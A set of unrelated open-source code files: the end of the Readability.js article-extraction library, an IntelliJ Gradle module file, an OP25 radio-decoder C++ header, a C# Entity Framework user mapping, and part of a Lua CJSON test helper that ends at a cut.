and // sibling is removed from the array when we call appendChild(). // As a result, we must revisit this index since the nodes // have been shifted. s -= 1; sl -= 1; } } if (this._debug) this.log("Article content pre-prep: " + articleContent.innerHTML); // So we have all of the content that we need. Now we clean it up for presentation. this._prepArticle(articleContent); if (this._debug) this.log("Article content post-prep: " + articleContent.innerHTML); if (neededToCreateTopCandidate) { // We already created a fake div thing, and there wouldn't have been any siblings left // for the previous loop, so there's no point trying to create a new div, and then // move all the children over. Just assign IDs and class names here. No need to append // because that already happened anyway. topCandidate.id = "readability-page-1"; topCandidate.className = "page"; } else { var div = doc.createElement("DIV"); div.id = "readability-page-1"; div.className = "page"; var children = articleContent.childNodes; while (children.length) { div.appendChild(children[0]); } articleContent.appendChild(div); } if (this._debug) this.log("Article content after paging: " + articleContent.innerHTML); var parseSuccessful = true; // Now that we've gone through the full algorithm, check to see if // we got any meaningful content. If we didn't, we may need to re-run // grabArticle with different flags set. This gives us a higher likelihood of // finding the content, and the sieve approach gives us a higher likelihood of // finding the -right- content. var textLength = this._getInnerText(articleContent, true).length; if (textLength < this._charThreshold) { parseSuccessful = false; page.innerHTML = pageCacheHtml; if (this._flagIsActive(this.FLAG_STRIP_UNLIKELYS)) { this._removeFlag(this.FLAG_STRIP_UNLIKELYS); this._attempts.push({articleContent: articleContent, textLength: textLength}); } else if (this._flagIsActive(this.FLAG_WEIGHT_CLASSES)) { this._removeFlag(this.FLAG_WEIGHT_CLASSES); this._attempts.push({articleContent: articleContent, textLength: textLength}); } else if (this._flagIsActive(this.FLAG_CLEAN_CONDITIONALLY)) { this._removeFlag(this.FLAG_CLEAN_CONDITIONALLY); this._attempts.push({articleContent: articleContent, textLength: textLength}); } else { this._attempts.push({articleContent: articleContent, textLength: textLength}); // No luck after removing flags, just return the longest text we found during the different loops this._attempts.sort(function (a, b) { return b.textLength - a.textLength; }); // But first check if we actually have something if (!this._attempts[0].textLength) { return null; } articleContent = this._attempts[0].articleContent; parseSuccessful = true; } } if (parseSuccessful) { // Find out text direction from ancestors of final top candidate. var ancestors = [parentOfTopCandidate, topCandidate].concat(this._getNodeAncestors(parentOfTopCandidate)); this._someNode(ancestors, function(ancestor) { if (!ancestor.tagName) return false; var articleDir = ancestor.getAttribute("dir"); if (articleDir) { this._articleDir = articleDir; return true; } return false; }); return articleContent; } } }, /** * Check whether the input string could be a byline. * This verifies that the input is a string, and that the length * is less than 100 chars. * * @param possibleByline {string} - a string to check whether its a byline. * @return Boolean - whether the input string is a byline. */ _isValidByline: function(byline) { if (typeof byline == "string" || byline instanceof String) { byline = byline.trim(); return (byline.length > 0) && (byline.length < 100); } return false; }, /** * Converts some of the common HTML entities in string to their corresponding characters. * * @param str {string} - a string to unescape. * @return string without HTML entity. */ _unescapeHtmlEntities: function(str) { if (!str) { return str; } var htmlEscapeMap = this.HTML_ESCAPE_MAP; return str.replace(/&(quot|amp|apos|lt|gt);/g, function(_, tag) { return htmlEscapeMap[tag]; }).replace(/&#(?:x([0-9a-z]{1,4})|([0-9]{1,4}));/gi, function(_, hex, numStr) { var num = parseInt(hex || numStr, hex ? 16 : 10); return String.fromCharCode(num); }); }, /** * Attempts to get excerpt and byline metadata for the article. * * @return Object with optional "excerpt" and "byline" properties */ _getArticleMetadata: function() { var metadata = {}; var values = {}; var metaElements = this._doc.getElementsByTagName("meta"); // property is a space-separated list of values var propertyPattern = /\s*(dc|dcterm|og|twitter)\s*:\s*(author|creator|description|title|site_name)\s*/gi; // name is a single value var namePattern = /^\s*(?:(dc|dcterm|og|twitter|weibo:(article|webpage))\s*[\.:]\s*)?(author|creator|description|title|site_name)\s*$/i; // Find description tags. this._forEachNode(metaElements, function(element) { var elementName = element.getAttribute("name"); var elementProperty = element.getAttribute("property"); var content = element.getAttribute("content"); if (!content) { return; } var matches = null; var name = null; if (elementProperty) { matches = elementProperty.match(propertyPattern); if (matches) { for (var i = matches.length - 1; i >= 0; i--) { // Convert to lowercase, and remove any whitespace // so we can match below. name = matches[i].toLowerCase().replace(/\s/g, ""); // multiple authors values[name] = content.trim(); } } } if (!matches && elementName && namePattern.test(elementName)) { name = elementName; if (content) { // Convert to lowercase, remove any whitespace, and convert dots // to colons so we can match below. name = name.toLowerCase().replace(/\s/g, "").replace(/\./g, ":"); values[name] = content.trim(); } } }); // get title metadata.title = values["dc:title"] || values["dcterm:title"] || values["og:title"] || values["weibo:article:title"] || values["weibo:webpage:title"] || values["title"] || values["twitter:title"]; if (!metadata.title) { metadata.title = this._getArticleTitle(); } // get author metadata.byline = values["dc:creator"] || values["dcterm:creator"] || values["author"]; // get description metadata.excerpt = values["dc:description"] || values["dcterm:description"] || values["og:description"] || values["weibo:article:description"] || values["weibo:webpage:description"] || values["description"] || values["twitter:description"]; // get site name metadata.siteName = values["og:site_name"]; // in many sites the meta value is escaped with HTML entities, // so here we need to unescape it metadata.title = this._unescapeHtmlEntities(metadata.title); metadata.byline = this._unescapeHtmlEntities(metadata.byline); metadata.excerpt = this._unescapeHtmlEntities(metadata.excerpt); metadata.siteName = this._unescapeHtmlEntities(metadata.siteName); return metadata; }, /** * Check if node is image, or if node contains exactly only one image * whether as a direct child or as its descendants. * * @param Element **/ _isSingleImage: function(node) { if (node.tagName === "IMG") { return true; } if (node.children.length !== 1 || node.textContent.trim() !== "") { return false; } return this._isSingleImage(node.children[0]); }, /** * Find all <noscript> that are located after <img> nodes, and which contain only one * <img> element. Replace the first image with the image from inside the <noscript> tag, * and remove the <noscript> tag. This improves the quality of the images we use on * some sites (e.g. Medium). * * @param Element **/ _unwrapNoscriptImages: function(doc) { // Find img without source or attributes that might contains image, and remove it. // This is done to prevent a placeholder img is replaced by img from noscript in next step. var imgs = Array.from(doc.getElementsByTagName("img")); this._forEachNode(imgs, function(img) { for (var i = 0; i < img.attributes.length; i++) { var attr = img.attributes[i]; switch (attr.name) { case "src": case "srcset": case "data-src": case "data-srcset": return; } if (/\.(jpg|jpeg|png|webp)/i.test(attr.value)) { return; } } img.parentNode.removeChild(img); }); // Next find noscript and try to extract its image var noscripts = Array.from(doc.getElementsByTagName("noscript")); this._forEachNode(noscripts, function(noscript) { // Parse content of noscript and make sure it only contains image var tmp = doc.createElement("div"); tmp.innerHTML = noscript.innerHTML; if (!this._isSingleImage(tmp)) { return; } // If noscript has previous sibling and it only contains image, // replace it with noscript content. However we also keep old // attributes that might contains image. var prevElement = noscript.previousElementSibling; if (prevElement && this._isSingleImage(prevElement)) { var prevImg = prevElement; if (prevImg.tagName !== "IMG") { prevImg = prevElement.getElementsByTagName("img")[0]; } var newImg = tmp.getElementsByTagName("img")[0]; for (var i = 0; i < prevImg.attributes.length; i++) { var attr = prevImg.attributes[i]; if (attr.value === "") { continue; } if (attr.name === "src" || attr.name === "srcset" || /\.(jpg|jpeg|png|webp)/i.test(attr.value)) { if (newImg.getAttribute(attr.name) === attr.value) { continue; } var attrName = attr.name; if (newImg.hasAttribute(attrName)) { attrName = "data-old-" + attrName; } newImg.setAttribute(attrName, attr.value); } } noscript.parentNode.replaceChild(tmp.firstElementChild, prevElement); } }); }, /** * Removes script tags from the document. * * @param Element **/ _removeScripts: function(doc) { this._removeNodes(this._getAllNodesWithTag(doc, ["script"]), function(scriptNode) { scriptNode.nodeValue = ""; scriptNode.removeAttribute("src"); return true; }); this._removeNodes(this._getAllNodesWithTag(doc, ["noscript"])); }, /** * Check if this node has only whitespace and a single element with given tag * Returns false if the DIV node contains non-empty text nodes * or if it contains no element with given tag or more than 1 element. * * @param Element * @param string tag of child element **/ _hasSingleTagInsideElement: function(element, tag) { // There should be exactly 1 element child with given tag if (element.children.length != 1 || element.children[0].tagName !== tag) { return false; } // And there should be no text nodes with real content return !this._someNode(element.childNodes, function(node) { return node.nodeType === this.TEXT_NODE && this.REGEXPS.hasContent.test(node.textContent); }); }, _isElementWithoutContent: function(node) { return node.nodeType === this.ELEMENT_NODE && node.textContent.trim().length == 0 && (node.children.length == 0 || node.children.length == node.getElementsByTagName("br").length + node.getElementsByTagName("hr").length); }, /** * Determine whether element has any children block level elements. * * @param Element */ _hasChildBlockElement: function (element) { return this._someNode(element.childNodes, function(node) { return this.DIV_TO_P_ELEMS.indexOf(node.tagName) !== -1 || this._hasChildBlockElement(node); }); }, /*** * Determine if a node qualifies as phrasing content. * https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content **/ _isPhrasingContent: function(node) { return node.nodeType === this.TEXT_NODE || this.PHRASING_ELEMS.indexOf(node.tagName) !== -1 || ((node.tagName === "A" || node.tagName === "DEL" || node.tagName === "INS") && this._everyNode(node.childNodes, this._isPhrasingContent)); }, _isWhitespace: function(node) { return (node.nodeType === this.TEXT_NODE && node.textContent.trim().length === 0) || (node.nodeType === this.ELEMENT_NODE && node.tagName === "BR"); }, /** * Get the inner text of a node - cross browser compatibly. * This also strips out any excess whitespace to be found. * * @param Element * @param Boolean normalizeSpaces (default: true) * @return string **/ _getInnerText: function(e, normalizeSpaces) { normalizeSpaces = (typeof normalizeSpaces === "undefined") ? true : normalizeSpaces; var textContent = e.textContent.trim(); if (normalizeSpaces) { return textContent.replace(this.REGEXPS.normalize, " "); } return textContent; }, /** * Get the number of times a string s appears in the node e. * * @param Element * @param string - what to split on. Default is "," * @return number (integer) **/ _getCharCount: function(e, s) { s = s || ","; return this._getInnerText(e).split(s).length - 1; }, /** * Remove the style attribute on every e and under. * TODO: Test if getElementsByTagName(*) is faster. * * @param Element * @return void **/ _cleanStyles: function(e) { if (!e || e.tagName.toLowerCase() === "svg") return; // Remove `style` and deprecated presentational attributes for (var i = 0; i < this.PRESENTATIONAL_ATTRIBUTES.length; i++) { e.removeAttribute(this.PRESENTATIONAL_ATTRIBUTES[i]); } if (this.DEPRECATED_SIZE_ATTRIBUTE_ELEMS.indexOf(e.tagName) !== -1) { e.removeAttribute("width"); e.removeAttribute("height"); } var cur = e.firstElementChild; while (cur !== null) { this._cleanStyles(cur); cur = cur.nextElementSibling; } }, /** * Get the density of links as a percentage of the content * This is the amount of text that is inside a link divided by the total text in the node. * * @param Element * @return number (float) **/ _getLinkDensity: function(element) { var textLength = this._getInnerText(element).length; if (textLength === 0) return 0; var linkLength = 0; // XXX implement _reduceNodeList? this._forEachNode(element.getElementsByTagName("a"), function(linkNode) { linkLength += this._getInnerText(linkNode).length; }); return linkLength / textLength; }, /** * Get an elements class/id weight. Uses regular expressions to tell if this * element looks good or bad. * * @param Element * @return number (Integer) **/ _getClassWeight: function(e) { if (!this._flagIsActive(this.FLAG_WEIGHT_CLASSES)) return 0; var weight = 0; // Look for a special classname if (typeof(e.className) === "string" && e.className !== "") { if (this.REGEXPS.negative.test(e.className)) weight -= 25; if (this.REGEXPS.positive.test(e.className)) weight += 25; } // Look for a special ID if (typeof(e.id) === "string" && e.id !== "") { if (this.REGEXPS.negative.test(e.id)) weight -= 25; if (this.REGEXPS.positive.test(e.id)) weight += 25; } return weight; }, /** * Clean a node of all elements of type "tag". * (Unless it's a youtube/vimeo video. People love movies.) * * @param Element * @param string tag to clean * @return void **/ _clean: function(e, tag) { var isEmbed = ["object", "embed", "iframe"].indexOf(tag) !== -1; this._removeNodes(this._getAllNodesWithTag(e, [tag]), function(element) { // Allow youtube and vimeo videos through as people usually want to see those. if (isEmbed) { // First, check the elements attributes to see if any of them contain youtube or vimeo for (var i = 0; i < element.attributes.length; i++) { if (this.REGEXPS.videos.test(element.attributes[i].value)) { return false; } } // For embed with <object> tag, check inner HTML as well. if (element.tagName === "object" && this.REGEXPS.videos.test(element.innerHTML)) { return false; } } return true; }); }, /** * Check if a given node has one of its ancestor tag name matching the * provided one. * @param HTMLElement node * @param String tagName * @param Number maxDepth * @param Function filterFn a filter to invoke to determine whether this node 'counts' * @return Boolean */ _hasAncestorTag: function(node, tagName, maxDepth, filterFn) { maxDepth = maxDepth || 3; tagName = tagName.toUpperCase(); var depth = 0; while (node.parentNode) { if (maxDepth > 0 && depth > maxDepth) return false; if (node.parentNode.tagName === tagName && (!filterFn || filterFn(node.parentNode))) return true; node = node.parentNode; depth++; } return false; }, /** * Return an object indicating how many rows and columns this table has. */ _getRowAndColumnCount: function(table) { var rows = 0; var columns = 0; var trs = table.getElementsByTagName("tr"); for (var i = 0; i < trs.length; i++) { var rowspan = trs[i].getAttribute("rowspan") || 0; if (rowspan) { rowspan = parseInt(rowspan, 10); } rows += (rowspan || 1); // Now look for column-related info var columnsInThisRow = 0; var cells = trs[i].getElementsByTagName("td"); for (var j = 0; j < cells.length; j++) { var colspan = cells[j].getAttribute("colspan") || 0; if (colspan) { colspan = parseInt(colspan, 10); } columnsInThisRow += (colspan || 1); } columns = Math.max(columns, columnsInThisRow); } return {rows: rows, columns: columns}; }, /** * Look for 'data' (as opposed to 'layout') tables, for which we use * similar checks as * https://dxr.mozilla.org/mozilla-central/rev/71224049c0b52ab190564d3ea0eab089a159a4cf/accessible/html/HTMLTableAccessible.cpp#920 */ _markDataTables: function(root) { var tables = root.getElementsByTagName("table"); for (var i = 0; i < tables.length; i++) { var table = tables[i]; var role = table.getAttribute("role"); if (role == "presentation") { table._readabilityDataTable = false; continue; } var datatable = table.getAttribute("datatable"); if (datatable == "0") { table._readabilityDataTable = false; continue; } var summary = table.getAttribute("summary"); if (summary) { table._readabilityDataTable = true; continue; } var caption = table.getElementsByTagName("caption")[0]; if (caption && caption.childNodes.length > 0) { table._readabilityDataTable = true; continue; } // If the table has a descendant with any of these tags, consider a data table: var dataTableDescendants = ["col", "colgroup", "tfoot", "thead", "th"]; var descendantExists = function(tag) { return !!table.getElementsByTagName(tag)[0]; }; if (dataTableDescendants.some(descendantExists)) { this.log("Data table because found data-y descendant"); table._readabilityDataTable = true; continue; } // Nested tables indicate a layout table: if (table.getElementsByTagName("table")[0]) { table._readabilityDataTable = false; continue; } var sizeInfo = this._getRowAndColumnCount(table); if (sizeInfo.rows >= 10 || sizeInfo.columns > 4) { table._readabilityDataTable = true; continue; } // Now just go by size entirely: table._readabilityDataTable = sizeInfo.rows * sizeInfo.columns > 10; } }, /* convert images and figures that have properties like data-src into images that can be loaded without JS */ _fixLazyImages: function (root) { this._forEachNode(this._getAllNodesWithTag(root, ["img", "picture", "figure"]), function (elem) { // In some sites (e.g. Kotaku), they put 1px square image as base64 data uri in the src attribute. // So, here we check if the data uri is too short, just might as well remove it. if (elem.src && this.REGEXPS.b64DataUrl.test(elem.src)) { // Make sure it's not SVG, because SVG can have a meaningful image in under 133 bytes. var parts = this.REGEXPS.b64DataUrl.exec(elem.src); if (parts[1] === "image/svg+xml") { return; } // Make sure this element has other attributes which contains image. // If it doesn't, then this src is important and shouldn't be removed. var srcCouldBeRemoved = false; for (var i = 0; i < elem.attributes.length; i++) { var attr = elem.attributes[i]; if (attr.name === "src") { continue; } if (/\.(jpg|jpeg|png|webp)/i.test(attr.value)) { srcCouldBeRemoved = true; break; } } // Here we assume if image is less than 100 bytes (or 133B after encoded to base64) // it will be too small, therefore it might be placeholder image. if (srcCouldBeRemoved) { var b64starts = elem.src.search(/base64\s*/i) + 7; var b64length = elem.src.length - b64starts; if (b64length < 133) { elem.removeAttribute("src"); } } } // also check for "null" to work around https://github.com/jsdom/jsdom/issues/2580 if ((elem.src || (elem.srcset && elem.srcset != "null")) && elem.className.toLowerCase().indexOf("lazy") === -1) { return; } for (var j = 0; j < elem.attributes.length; j++) { attr = elem.attributes[j]; if (attr.name === "src" || attr.name === "srcset") { continue; } var copyTo = null; if (/\.(jpg|jpeg|png|webp)\s+\d/.test(attr.value)) { copyTo = "srcset"; } else if (/^\s*\S+\.(jpg|jpeg|png|webp)\S*\s*$/.test(attr.value)) { copyTo = "src"; } if (copyTo) { //if this is an img or picture, set the attribute directly if (elem.tagName === "IMG" || elem.tagName === "PICTURE") { elem.setAttribute(copyTo, attr.value); } else if (elem.tagName === "FIGURE" && !this._getAllNodesWithTag(elem, ["img", "picture"]).length) { //if the item is a <figure> that does not contain an image or picture, create one and place it inside the figure //see the nytimes-3 testcase for an example var img = this._doc.createElement("img"); img.setAttribute(copyTo, attr.value); elem.appendChild(img); } } } }); }, /** * Clean an element of all tags of type "tag" if they look fishy. * "Fishy" is an algorithm based on content length, classnames, link density, number of images & embeds, etc. * * @return void **/ _cleanConditionally: function(e, tag) { if (!this._flagIsActive(this.FLAG_CLEAN_CONDITIONALLY)) return; var isList = tag === "ul" || tag === "ol"; // Gather counts for other typical elements embedded within. // Traverse backwards so we can remove nodes at the same time // without effecting the traversal. // // TODO: Consider taking into account original contentScore here. this._removeNodes(this._getAllNodesWithTag(e, [tag]), function(node) { // First check if this node IS data table, in which case don't remove it. var isDataTable = function(t) { return t._readabilityDataTable; }; if (tag === "table" && isDataTable(node)) { return false; } // Next check if we're inside a data table, in which case don't remove it as well. if (this._hasAncestorTag(node, "table", -1, isDataTable)) { return false; } var weight = this._getClassWeight(node); var contentScore = 0; this.log("Cleaning Conditionally", node); if (weight + contentScore < 0) { return true; } if (this._getCharCount(node, ",") < 10) { // If there are not very many commas, and the number of // non-paragraph elements is more than paragraphs or other // ominous signs, remove the element. var p = node.getElementsByTagName("p").length; var img = node.getElementsByTagName("img").length; var li = node.getElementsByTagName("li").length - 100; var input = node.getElementsByTagName("input").length; var embedCount = 0; var embeds = this._getAllNodesWithTag(node, ["object", "embed", "iframe"]); for (var i = 0; i < embeds.length; i++) { // If this embed has attribute that matches video regex, don't delete it. for (var j = 0; j < embeds[i].attributes.length; j++) { if (this.REGEXPS.videos.test(embeds[i].attributes[j].value)) { return false; } } // For embed with <object> tag, check inner HTML as well. if (embeds[i].tagName === "object" && this.REGEXPS.videos.test(embeds[i].innerHTML)) { return false; } embedCount++; } var linkDensity = this._getLinkDensity(node); var contentLength = this._getInnerText(node).length; var haveToRemove = (img > 1 && p / img < 0.5 && !this._hasAncestorTag(node, "figure")) || (!isList && li > p) || (input > Math.floor(p/3)) || (!isList && contentLength < 25 && (img === 0 || img > 2) && !this._hasAncestorTag(node, "figure")) || (!isList && weight < 25 && linkDensity > 0.2) || (weight >= 25 && linkDensity > 0.5) || ((embedCount === 1 && contentLength < 75) || embedCount > 1); return haveToRemove; } return false; }); }, /** * Clean out elements that match the specified conditions * * @param Element * @param Function determines whether a node should be removed * @return void **/ _cleanMatchedNodes: function(e, filter) { var endOfSearchMarkerNode = this._getNextNode(e, true); var next = this._getNextNode(e); while (next && next != endOfSearchMarkerNode) { if (filter.call(this, next, next.className + " " + next.id)) { next = this._removeAndGetNext(next); } else { next = this._getNextNode(next); } } }, /** * Clean out spurious headers from an Element. Checks things like classnames and link density. * * @param Element * @return void **/ _cleanHeaders: function(e) { this._removeNodes(this._getAllNodesWithTag(e, ["h1", "h2"]), function (header) { return this._getClassWeight(header) < 0; }); }, _flagIsActive: function(flag) { return (this._flags & flag) > 0; }, _removeFlag: function(flag) { this._flags = this._flags & ~flag; }, _isProbablyVisible: function(node) { // Have to null-check node.style and node.className.indexOf to deal with SVG and MathML nodes. return (!node.style || node.style.display != "none") && !node.hasAttribute("hidden") //check for "fallback-image" so that wikimedia math images are displayed && (!node.hasAttribute("aria-hidden") || node.getAttribute("aria-hidden") != "true" || (node.className && node.className.indexOf && node.className.indexOf("fallback-image") !== -1)); }, /** * Runs readability. * * Workflow: * 1. Prep the document by removing script tags, css, etc. * 2. Build readability's DOM tree. * 3. Grab the article content from the current dom tree. * 4. Replace the current DOM tree with the new one. * 5. Read peacefully. * * @return void **/ parse: function () { // Avoid parsing too large documents, as per configuration option if (this._maxElemsToParse > 0) { var numTags = this._doc.getElementsByTagName("*").length; if (numTags > this._maxElemsToParse) { throw new Error("Aborting parsing document; " + numTags + " elements found"); } } // Unwrap image from noscript this._unwrapNoscriptImages(this._doc); // Remove script tags from the document. this._removeScripts(this._doc); this._prepDocument(); var metadata = this._getArticleMetadata(); this._articleTitle = metadata.title; var articleContent = this._grabArticle(); if (!articleContent) return null; this.log("Grabbed: " + articleContent.innerHTML); this._postProcessContent(articleContent); // If we haven't found an excerpt in the article's metadata, use the article's // first paragraph as the excerpt. This is used for displaying a preview of // the article's content. if (!metadata.excerpt) { var paragraphs = articleContent.getElementsByTagName("p"); if (paragraphs.length > 0) { metadata.excerpt = paragraphs[0].textContent.trim(); } } var textContent = articleContent.textContent; return { title: this._articleTitle, byline: metadata.byline || this._articleByline, dir: this._articleDir, content: articleContent.innerHTML, textContent: textContent, length: textContent.length, excerpt: metadata.excerpt, siteName: metadata.siteName || this._articleSiteName }; } }; if (typeof module === "object") { module.exports = Readability; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <module external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$" external.system.id="GRADLE" external.system.module.group="" external.system.module.version="unspecified" type="JAVA_MODULE" version="4"> <component name="FacetManager"> <facet type="java-gradle" name="Java-Gradle"> <configuration> <option name="BUILD_FOLDER_PATH" value="$MODULE_DIR$/build" /> </configuration> </facet> </component> <component name="NewModuleRootManager" inherit-compiler-output="true"> <exclude-output /> <content url="file://$MODULE_DIR$"> <excludeFolder url="file://$MODULE_DIR$/.gradle" /> </content> <orderEntry type="inheritedJdk" /> <orderEntry type="sourceFolder" forTests="false" /> </component> </module>
{ "pile_set_name": "Github" }
// P25 Decoder (C) Copyright 2013, 2014, 2015, 2016, 2017 Max H. Parke KA1RBI // // This file is part of OP25 // // OP25 is free software; you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 3, or (at your option) // any later version. // // OP25 is distributed in the hope that it will be useful, but WITHOUT // ANY WARRANTY; without even the implied warranty of MERCHANTABILITY // or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public // License for more details. // // You should have received a copy of the GNU General Public License // along with OP25; see the file COPYING. If not, write to the Free // Software Foundation, Inc., 51 Franklin Street, Boston, MA // 02110-1301, USA. #ifndef INCLUDED_RX_SYNC_H #define INCLUDED_RX_SYNC_H #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <string> #include <iostream> #include <deque> #include <assert.h> #include <gnuradio/msg_queue.h> #include "bit_utils.h" #include "check_frame_sync.h" #include "frame_sync_magics.h" #include "p25p2_vf.h" #include "mbelib.h" #include "ambe.h" #include "ysf_const.h" #include "dmr_const.h" #include "dmr_cai.h" #include "p25_frame.h" #include "op25_timer.h" #include "op25_imbe_frame.h" #include "software_imbe_decoder.h" #include "op25_audio.h" #include "log_ts.h" namespace gr{ namespace op25_repeater{ enum rx_types { RX_TYPE_NONE=0, RX_TYPE_P25, RX_TYPE_DMR, RX_TYPE_DSTAR, RX_TYPE_YSF, RX_N_TYPES }; // also used as array index static const struct _mode_data { const char * type; int sync_len; int sync_offset; int fragment_len; // symbols int expiration; } MODE_DATA[RX_N_TYPES] = { {"NONE", 0,0,0,0}, {"P25", 48,0,864,1728}, {"DMR", 48,66,144,1728}, {"DSTAR", 48,72,96,2016*2}, {"YSF", 40,0,480,480*2} }; // index order must match rx_types enum static const int KNOWN_MAGICS = 12; static const struct _sync_magic { int type; uint64_t magic; } SYNC_MAGIC[KNOWN_MAGICS] = { {RX_TYPE_P25, P25_FRAME_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_BS_VOICE_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_BS_DATA_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_MS_VOICE_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_MS_DATA_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_MS_RC_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_T1_VOICE_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_T1_DATA_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_T2_VOICE_SYNC_MAGIC}, {RX_TYPE_DMR, DMR_T2_DATA_SYNC_MAGIC}, {RX_TYPE_DSTAR, DSTAR_FRAME_SYNC_MAGIC}, {RX_TYPE_YSF, YSF_FRAME_SYNC_MAGIC} }; // maps sync patterns to protocols enum codeword_types { CODEWORD_P25P1, CODEWORD_P25P2, CODEWORD_DMR, CODEWORD_DSTAR, CODEWORD_YSF_FULLRATE, CODEWORD_YSF_HALFRATE }; class rx_sync { public: void rx_sym(const uint8_t sym); void sync_reset(void); void set_slot_mask(int mask); void set_xor_mask(int mask); rx_sync(const char * options, int debug, int msgq_id, gr::msg_queue::sptr queue); ~rx_sync(); private: void sync_timeout(); void cbuf_insert(const uint8_t c); void ysf_sync(const uint8_t dibitbuf[], bool& ysf_fullrate, bool& unmute); void codeword(const uint8_t* cw, const enum codeword_types codeword_type, int slot_id); void output(int16_t * samp_buf, const ssize_t slot_id); static const int CBUF_SIZE=864; static const int NSAMP_OUTPUT = 160; op25_timer sync_timer; unsigned int d_symbol_count; uint64_t d_sync_reg; uint8_t d_cbuf[CBUF_SIZE*2]; unsigned int d_cbuf_idx; enum rx_types d_current_type; int d_threshold; int d_rx_count; unsigned int d_expires; int d_shift_reg; int d_slot_mask; unsigned int d_unmute_until[2]; p25p2_vf interleaver; mbe_parms cur_mp[2]; mbe_parms prev_mp[2]; mbe_parms enh_mp[2]; mbe_tone tone_mp[2]; software_imbe_decoder d_software_decoder[2]; std::deque<int16_t> d_output_queue[2]; dmr_cai dmr; int d_msgq_id; gr::msg_queue::sptr d_msg_queue; bool d_stereo; int d_debug; op25_audio d_audio; log_ts logts; uint16_t d_xor_mask; }; } // end namespace op25_repeater } // end namespace gr #endif // INCLUDED_RX_SYNC_H
{ "pile_set_name": "Github" }
using System.Data.Entity.ModelConfiguration; using MvcSolution.Data; namespace MvcSolution.Data.Mappings { public class UserMapping : EntityTypeConfiguration<User> { public UserMapping() { this.Property(x => x.Username).HasMaxLength(250); this.Property(x => x.Password).HasMaxLength(200); this.Property(x => x.NickName).HasMaxLength(200); this.Property(x => x.ImageKey).HasMaxLength(250); this.Property(x => x.Signature).HasMaxLength(250); this.Property(x => x.InternalNotes).HasMaxLength(250); this.Property(x => x.RegisterIp).HasMaxLength(20); this.Property(x => x.RegisterAddress).HasMaxLength(250); } } }
{ "pile_set_name": "Github" }
local json = require "cjson" -- Various common routines used by the Lua CJSON package -- -- Mark Pulford <[email protected]> -- Determine with a Lua table can be treated as an array. -- Explicitly returns "not an array" for very sparse arrays. -- Returns: -- -1 Not an array -- 0 Empty table -- >0 Highest index in the array local function is_array(table) local max = 0 local count = 0 for k, v in pairs(table) do if type(k) == "number" then if k > max then max = k end count = count + 1 else return -1 end end if max > count * 2 then return -1 end return max end local serialise_value local function serialise_table(value, indent, depth) local spacing, spacing2, indent2 if indent then spacing = "\n" .. indent spacing2 = spacing .. " " indent2 = indent .. " " else spacing, spacing2, indent2 = " ", " ", false end depth = depth + 1 if depth > 50 then return "Cannot serialise any further: too many nested tables" end local max = is_array(value) local comma = false local fragment = { "{" .. spacing2 } if max > 0 then -- Serialise array for i = 1, max do if comma then table.insert(fragment, "," .. spacing2) end table.insert(fragment, serialise_value(value[i], indent2, depth)) comma = true end elseif max < 0 then -- Serialise table for k, v in pairs(value) do if comma then table.insert(fragment, "," .. spacing2) end table.insert(fragment, ("[%s] = %s"):format(serialise_value(k, indent2, depth), serialise_value(v, indent2, depth))) comma = true end end table.insert(fragment, spacing .. "}") return table.concat(fragment) end function serialise_value(value, indent, depth) if indent == nil then indent = "" end if depth == nil then depth = 0 end if value == json.null then return "json.null" elseif type(value) == "string" then return ("%q"):format(value) elseif type(value) == "nil" or type(value) == "number" or type(value) == "boolean" then return tostring(value) elseif type(value) == "table" then return serialise_table(value, indent, depth) else return "\"<" .. type(value) .. ">\"" end end local function file_load(filename) local file if filename == nil then file = io.stdin else local err file, err = io.open(filename, "rb") if file == nil then error(("Unable to read '%s': %s"):format(filename, err)) end end local data = file:read("*a") if filename ~= nil then file:close() end if data == nil then error("Failed to read " .. filename) end return data end local function file_save(filename, data) local file if filename == nil then file = io.stdout else local err file, err = io.open(filename, "wb") if file == nil then error(("Unable to write '%s': %s"):format(filename, err)) end end file:write(data) if filename ~= nil then file:close() end end local function compare_values(val1, val2) local type1 = type(val1) local type2 = type(val2) if type1 ~= type2 then return false end -- Check for NaN if type1 == "number" and val1 ~= val1 and val2 ~= val2 then return true end if type1 ~= "table" then return val1 == val2 end -- check_keys stores all the keys that must be checked in val2 local check_keys = {} for k, _ in pairs(val1) do check_keys[k] = true end for k, v in pairs(val2) do if not check_keys[k] then return false end if not compare_values(val1[k], val2[k]) then return false end check_keys[k] = nil end for k, _ in pairs(check_keys) do -- Not the same if any keys from val1 were not found in val2 return false end return true end local test_count_pass = 0 local test_count_total = 0 local function run_test_summary() return test_count_pass, test_count_total end local function run_test(testname, func, input, should_work, output) local function status_line(name, status, value) local statusmap = { [true] = ":success", [false] = ":error" } if status ~= nil then name = name .. statusmap[status] end print(("[%s] %s"):format(name, serialise_value(value, false))) end local result = { pcall(func, unpack(input)) } local success = table.remove(result, 1) local correct = false if success == should_work and compare_values(result, output) then correct = true test_count_pass = test_count_pass + 1 end test_count_total = test_count_total + 1 local teststatus = { [true] = "PASS", [false] = "FAIL" } print(("==> Test [%d] %s: %s"):format(test_count_total, testname, teststatus[correct])) status_line("Input", nil, input) if not correct then status_line("Expected", should_work, output) end status_line("Received", success, result) print() return correct, result end local function run_test_group(tests) local function run_helper(name, func, input) if type(name) == "string" and #name > 0 then print("==> " .. name) end -- Not a protected call, these functions should never generate errors. func(unpack(input or {})) print() end for _, v in ipairs(tests) do -- Run the helper if "should_work" is missing if v[4] == nil then run_helper(unpack(v)) else run_test(unpack(v)) end end end -- Run a Lua script in a separate environment local function run_script(script, env) local env = env or {} local func -- Use setfenv() if it exists, otherwise assume Lua 5.2 load() exists if _G.setfenv then func = loadstring(script) if func then setfenv(func, env) end else func = load(script, nil, nil, env) end if func == nil then error("Invalid 